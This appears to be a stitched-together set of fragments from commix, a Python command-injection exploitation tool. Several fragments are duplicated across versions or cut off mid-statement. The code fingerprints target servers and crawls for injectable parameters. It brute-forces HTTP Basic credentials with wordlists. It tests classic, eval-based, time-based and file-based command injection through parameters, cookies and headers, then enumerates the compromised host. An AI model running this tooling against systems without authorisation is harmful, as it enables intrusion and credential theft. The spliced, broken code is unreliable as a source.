settings.print_error_msg(err_msg) pass else: settings.LOCAL_HTTP_IP = ip_addr break http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(str(err_msg.code)) sys.exit(0) except urllib2.URLError, err_msg: print settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".") sys.exit(0) # Used a valid pair of valid credentials if menu.options.auth_cred: success_msg = Style.BRIGHT + "Identified a valid pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL success_msg += Style.BRIGHT + "'." + Style.RESET_ALL print settings.print_success_msg(success_msg) try: if response.info()['server'] : server_banner = response.info()['server'] found_os_server = False if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target operating system... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Procedure for target OS identification. for i in range(0,len(settings.SERVER_OS_BANNERS)): if settings.SERVER_OS_BANNERS[i].lower() in server_banner.lower(): found_os_server = True settings.TARGET_OS = settings.SERVER_OS_BANNERS[i].lower() if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft" : identified_os = "Windows" if menu.options.os and user_defined_os != "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os settings.TARGET_OS = identified_os[:3].lower() if menu.options.shellshock: err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print settings.print_critical_msg(err_msg) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os if settings.VERBOSITY_LEVEL >= 1 : if found_os_server: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target operating system appears to be " success_msg += identified_os.title() + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify server's operating system." print settings.print_warning_msg(warn_msg) # Procedure for target server identification. found_server_banner = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target server... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for i in range(0,len(settings.SERVER_BANNERS)): if settings.SERVER_BANNERS[i].lower() in server_banner.lower(): if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if settings.VERBOSITY_LEVEL >= 1: success_msg = "The target server was identified as " success_msg += server_banner + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) settings.SERVER_BANNER = server_banner found_server_banner = True # Set up default root paths if settings.SERVER_BANNERS[i].lower() == "apache": if settings.TARGET_OS == "win": settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" if settings.SERVER_BANNERS[i].lower() == "nginx": settings.WEB_ROOT = "/usr/share/nginx" if settings.SERVER_BANNERS[i].lower() == "microsoft-iis": settings.WEB_ROOT = "\\inetpub\\wwwroot" break if not found_server_banner: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target server." print settings.print_warning_msg(warn_msg) # Procedure for target application identification found_application_extension = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target application ... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() root, application_extension = splitext(urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target application was identified as " success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print settings.print_critical_msg(err_msg) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target application." print settings.print_warning_msg(warn_msg) # Store the Server's root dir settings.DEFAULT_WEB_ROOT= settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Define Python working directory. if settings.TARGET_OS == "win" and menu.options.alter_shell: while True: if not menu.options.batch: question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR question_msg += "' as Python working directory on the target host? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) python_dir = sys.stdin.readline().replace("\n","").lower() else: python_dir = "" if len(python_dir) == 0: python_dir = "y" if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: question_msg = "Please provide a custom working directory for Python (e.g. '" question_msg += settings.WIN_PYTHON_DIR + "') > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.WIN_PYTHON_DIR = sys.stdin.readline().replace("\n","").lower() break else: err_msg = "'" + python_dir + "' is not a valid answer." print settings.print_error_msg(err_msg) pass settings.USER_DEFINED_PYTHON_DIR = True # Check for wrong flags. if settings.TARGET_OS == "win": if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as windows." print settings.print_warning_msg(warn_msg) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet available for Windows targets." print settings.print_warning_msg(warn_msg) if menu.options.file_upload : warn_msg = "The '--file-upload' option, is not yet available for windows targets. " warn_msg += "Instead, use the '--file-write' option." print settings.print_warning_msg(warn_msg) sys.exit(0) else: if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as unix-like. " print settings.print_warning_msg(warn_msg) if found_os_server == False and \ not menu.options.os: # If "--shellshock" option is provided then, # by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: while True: question_msg = "Do you recognise the server's operating system? " question_msg += "[(W)indows/(U)nix/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) got_os = sys.stdin.readline().replace("\n","").lower() if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": settings.TARGET_OS = "win" break elif got_os.lower() == "u": break elif got_os.lower() == "q": raise SystemExit() else: err_msg = "'" + got_os + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if not menu.options.os: if found_server_banner == False: warn_msg = "The server which was identified as " warn_msg += server_banner + " seems unknown." print settings.print_warning_msg(warn_msg) else: found_os_server = checks.user_defined_os() except KeyError: pass # Charset detection. requests.charset_detection(response)
def crawler(url): if not menu.options.sitemap_url: info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str(menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "." print settings.print_info_msg(info_msg) while True: if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " question_msg += "the existence of 'sitemap.xml'? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) sitemap_check = sys.stdin.readline().replace("\n","").lower() else: sitemap_check = "" if len(sitemap_check) == 0: sitemap_check = "y" if sitemap_check in settings.CHOICE_YES: sitemap_check = True break elif sitemap_check in settings.CHOICE_NO: sitemap_check = False break elif sitemap_check in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + sitemap_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: sitemap_check = True break if sitemap_check: output_href = sitemap(url) sitemap_check = output_href for recursion in output_href: if recursion.endswith(".xml") and "sitemap" in recursion.lower(): while True: warn_msg = "A sitemap recursion was detected " + "'" + recursion + "'." print settings.print_warning_msg(warn_msg) if not menu.options.batch: question_msg = "Do you want to follow the detected recursion? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) sitemap_check = sys.stdin.readline().replace("\n","").lower() else: sitemap_check = "" if len(sitemap_check) == 0: sitemap_check = "y" if sitemap_check in settings.CHOICE_YES: output_href = sitemap(recursion) sitemap_check = output_href break elif sitemap_check in settings.CHOICE_NO: break elif sitemap_check in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + sitemap_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if not sitemap_check: output_href = do_process(url) info_msg = "Checking " if sitemap_check: info_msg += "targets's sitemap.xml " info_msg += "for usable links with GET parameters... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() succeed_banner = True valid_url_found = False for check_url in output_href: # Check for usable URL with GET parameters if re.search(settings.GET_PARAMETERS_REGEX, check_url): valid_url_found = True if succeed_banner: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" print settings.print_success_msg(check_url) if not menu.options.batch: question_msg = "Do you want to use this URL to perform tests? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) use_url = sys.stdin.readline().replace("\n","").lower() else: use_url = "" if len(use_url) == 0: use_url = "y" if use_url in settings.CHOICE_YES: return check_url elif use_url in settings.CHOICE_NO: succeed_banner = False pass elif gotshell in settings.CHOICE_QUIT: sys.exit(0) if not valid_url_found: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" return url # eof
def create_github_issue(err_msg, exc_msg): _ = re.sub(r"'[^']+'", "''", exc_msg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.UNICODE_ENCODING) bug_report = "Bug Report: Unhandled exception \"" + str( [i for i in exc_msg.split('\n') if i][-1]) + "\"" while True: try: if not menu.options.batch: question_msg = "Do you want to automatically create a new (anonymized) issue " question_msg += "with the unhandled exception information at " question_msg += "the official Github repository? [y/N] " choise = _input(settings.print_question_msg(question_msg)) else: choise = "" if len(choise) == 0: choise = "n" if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: print(settings.SPACE) return else: err_msg = "'" + choise + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except: print("\n") raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ _urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report)) ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warn_msg = "That issue seems to be already reported" if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" print(settings.print_warning_msg(warn_msg)) return except: pass data = { "title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```" } request = _urllib.request.Request( url="https://api.github.com/repos/commixproject/commix/issues", data=json.dumps(data).encode(), headers={ "Authorization": "token " + base64.b64decode( settings.GITHUB_REPORT_OAUTH_TOKEN.encode( settings.UNICODE_ENCODING)).decode() }) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() except Exception as err: content = None issue_url = re.search( r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.UNICODE_ENCODING) or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str( issue_url.group(0)) + "'.\n" print(settings.print_info_msg(info_msg)) else: warn_msg = "Something went wrong while creating a Github issue." if settings.UNAUTHORIZED_ERROR in str(err): warn_msg += " Please update to the latest revision.\n" print(settings.print_warning_msg(warn_msg))
def injection_proccess(url, check_parameter, http_request_method, filename, delay): # User-Agent Injection / Referer Injection / Custom header Injection if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Load modules modules_handler.load_modules(url, http_request_method, filename) if not settings.LOAD_SESSION: info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + http_request_method + "" info_msg += the_type + header_name + check_parameter + " for tests." print settings.print_info_msg(info_msg) # Estimating the response time (in seconds) delay, url_time_response = requests.estimate_response_time(url, delay) skip_code_injections = False skip_command_injections = False # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.srv_root_dir: if checks.procced_with_file_based_technique(): menu.options.tech = "f" # Check if it is vulnerable to classic command injection technique. if not menu.options.tech or "c" in menu.options.tech: settings.CLASSIC_STATE = None if cb_handler.exploitation(url, delay, filename, http_request_method) != False: if not menu.options.batch: settings.CLASSIC_STATE = True question_msg = "Due to resuts " question_msg += "skipping of code injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) procced_option = sys.stdin.readline().replace("\n","").lower() else: procced_option = "" if len(procced_option) == 0: procced_option = "y" if procced_option in settings.CHOICE_YES: skip_code_injections = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + procced_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: settings.CLASSIC_STATE = False # Check if it is vulnerable to eval-based code injection technique. if not menu.options.tech or "e" in menu.options.tech: if not skip_code_injections: settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, delay, filename, http_request_method) != False: if not menu.options.batch: settings.EVAL_BASED_STATE = True question_msg = "Due to resuts, " question_msg += "skipping of further command injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) procced_option = sys.stdin.readline().replace("\n","").lower() else: procced_option = "" if len(procced_option) == 0: procced_option = "y" if procced_option in settings.CHOICE_YES: skip_command_injections = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + procced_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: settings.EVAL_BASED_STATE = False if not skip_command_injections: # Check if it is vulnerable to time-based blind command injection technique. if not menu.options.tech or "t" in menu.options.tech: settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False # Check if it is vulnerable to file-based semiblind command injection technique. if not menu.options.tech or "f" in menu.options.tech and not skip_command_injections: settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : warn_msg = "The tested" if not header_name == " cookie" and not the_type == " HTTP header": warn_msg += " " + http_request_method + "" warn_msg += the_type + header_name + check_parameter warn_msg += " seems to be not injectable." print settings.print_warning_msg(warn_msg) + Style.RESET_ALL
success_msg = "Identified a valid pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print settings.print_success_msg(success_msg) else: # Basic authentication if menu.options.auth_type == "basic": if not menu.options.ignore_401: warn_msg = "(" + menu.options.auth_type.capitalize( ) + ") " warn_msg += "HTTP authentication credentials are required." print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) do_update = sys.stdin.readline( ).replace("\n", "").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker( url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit()
def injection_proccess(url, check_parameter, http_request_method, filename, timesec): # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace( skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print settings.print_critical_msg(err_msg) raise SystemExit # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Load modules modules_handler.load_modules(url, http_request_method, filename) if not settings.LOAD_SESSION: info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + http_request_method + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)')[settings.IS_XML] if header_name == " cookie": info_msg += header_name + the_type + check_parameter + " for tests." else: info_msg += the_type + header_name + check_parameter + " for tests." print settings.print_info_msg(info_msg) # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) skip_code_injections = False skip_command_injections = False if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print settings.print_warning_msg(warn_msg) + Style.RESET_ALL # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and \ menu.options.tech and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): menu.options.tech = "f" # Check if it is vulnerable to classic command injection technique. if not menu.options.tech or "c" in menu.options.tech: settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method) != False: if not menu.options.tech or "e" in menu.options.tech: if not menu.options.batch: settings.CLASSIC_STATE = True question_msg = "Due to results, " question_msg += "skipping of code injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) procced_option = sys.stdin.readline().replace("\n", "").lower() else: procced_option = "" if len(procced_option) == 0: procced_option = "y" if procced_option in settings.CHOICE_YES: skip_code_injections = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + procced_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: settings.CLASSIC_STATE = False # Check if it is vulnerable to eval-based code injection technique. if not menu.options.tech or "e" in menu.options.tech: if not skip_code_injections: settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method) != False: if not menu.options.batch: settings.EVAL_BASED_STATE = True question_msg = "Due to results, " question_msg += "skipping of further command injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) procced_option = sys.stdin.readline().replace("\n", "").lower() else: procced_option = "" if len(procced_option) == 0: procced_option = "y" if procced_option in settings.CHOICE_YES: skip_command_injections = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + procced_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: settings.EVAL_BASED_STATE = False if not skip_command_injections: # Check if it is vulnerable to time-based blind command injection technique. if not menu.options.tech or "t" in menu.options.tech: settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False # Check if it is vulnerable to file-based semiblind command injection technique. if not menu.options.tech or "f" in menu.options.tech and not skip_command_injections: settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: warn_msg = "The tested" if not header_name == " cookie" and not the_type == " HTTP header": warn_msg += " " + http_request_method + "" warn_msg += the_type + header_name + check_parameter warn_msg += " seems to be not injectable." print settings.print_warning_msg(warn_msg) + Style.RESET_ALL
def define_wordlists(): while True: if not menu.options.batch: question_msg = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " do_update = _input(settings.print_question_msg(question_msg)) else: do_update = "" if len(do_update) == 0: do_update = "Y" if do_update in settings.CHOICE_YES: username_txt_file = settings.USERNAMES_TXT_FILE passwords_txt_file = settings.PASSWORDS_TXT_FILE info_msg = "Setting default wordlists for dictionary-based attack." print(settings.print_info_msg(info_msg)) break elif do_update in settings.CHOICE_NO: question_msg = "Please enter usernames wordlist > " username_txt_file = _input( settings.print_question_msg(question_msg)) question_msg = "Please enter passwords wordlist > " passwords_txt_file = _input( settings.print_question_msg(question_msg)) break elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass try: usernames = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing usernames wordlist '" + username_txt_file + "'." print(settings.print_debug_msg(debug_msg)) if not os.path.isfile(username_txt_file): err_msg = "The specified file '" + str( username_txt_file) + "' does not exist." print(settings.print_critical_msg(err_msg)) raise SystemExit() if len(username_txt_file) == 0: err_msg = "The specified file '" + str( username_txt_file) + "' seems empty." print(settings.print_critical_msg(err_msg)) raise SystemExit() with open(username_txt_file, "r") as f: for line in f: line = line.strip() usernames.append(line) except IOError: err_msg = " Check if file '" + str( username_txt_file) + "' is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() try: passwords = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing passwords wordlist '" + passwords_txt_file + "'." print(settings.print_debug_msg(debug_msg)) if not os.path.isfile(passwords_txt_file): err_msg = "The specified file '" + str( passwords_txt_file) + "' does not exist." print(settings.print_critical_msg(err_msg)) raise SystemExit() if len(passwords_txt_file) == 0: err_msg = "The specified file '" + str( passwords_txt_file) + "' seems empty." print(settings.print_critical_msg(err_msg)) raise SystemExit() with open(passwords_txt_file, "r") as f: for line in f: line = line.strip() passwords.append(line) except IOError: err_msg = " Check if file '" + str( passwords_txt_file) + "' is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() return usernames, passwords
if menu.options.tamper: checks.tamper_scripts() # Store the Server's root dir settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Define Python working directory. if settings.TARGET_OS == "win" and menu.options.alter_shell: while True: question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR question_msg += "' as Python working directory on the target host? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) python_dir = sys.stdin.readline().replace( "\n", "").lower() if len(python_dir) == 0: python_dir = "y" if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: question_msg = "Please provide a custom working directory for Python (e.g. '" question_msg += settings.WIN_PYTHON_DIR + "') > " sys.stdout.write( settings.print_question_msg( question_msg)) settings.WIN_PYTHON_DIR = sys.stdin.readline( ).replace("\n", "").lower() break
def cb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded= False export_injection_info = False injection_type = "results-based command injection" technique = "classic injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision(separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = cb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) if menu.options.url_reload and menu.options.data: time.sleep(delay) response = urllib.urlopen(url) # Evaluate test results. shell = cb_injector.injection_test_results(response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", re.sub("%2B", "+",payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif enumerate_again in 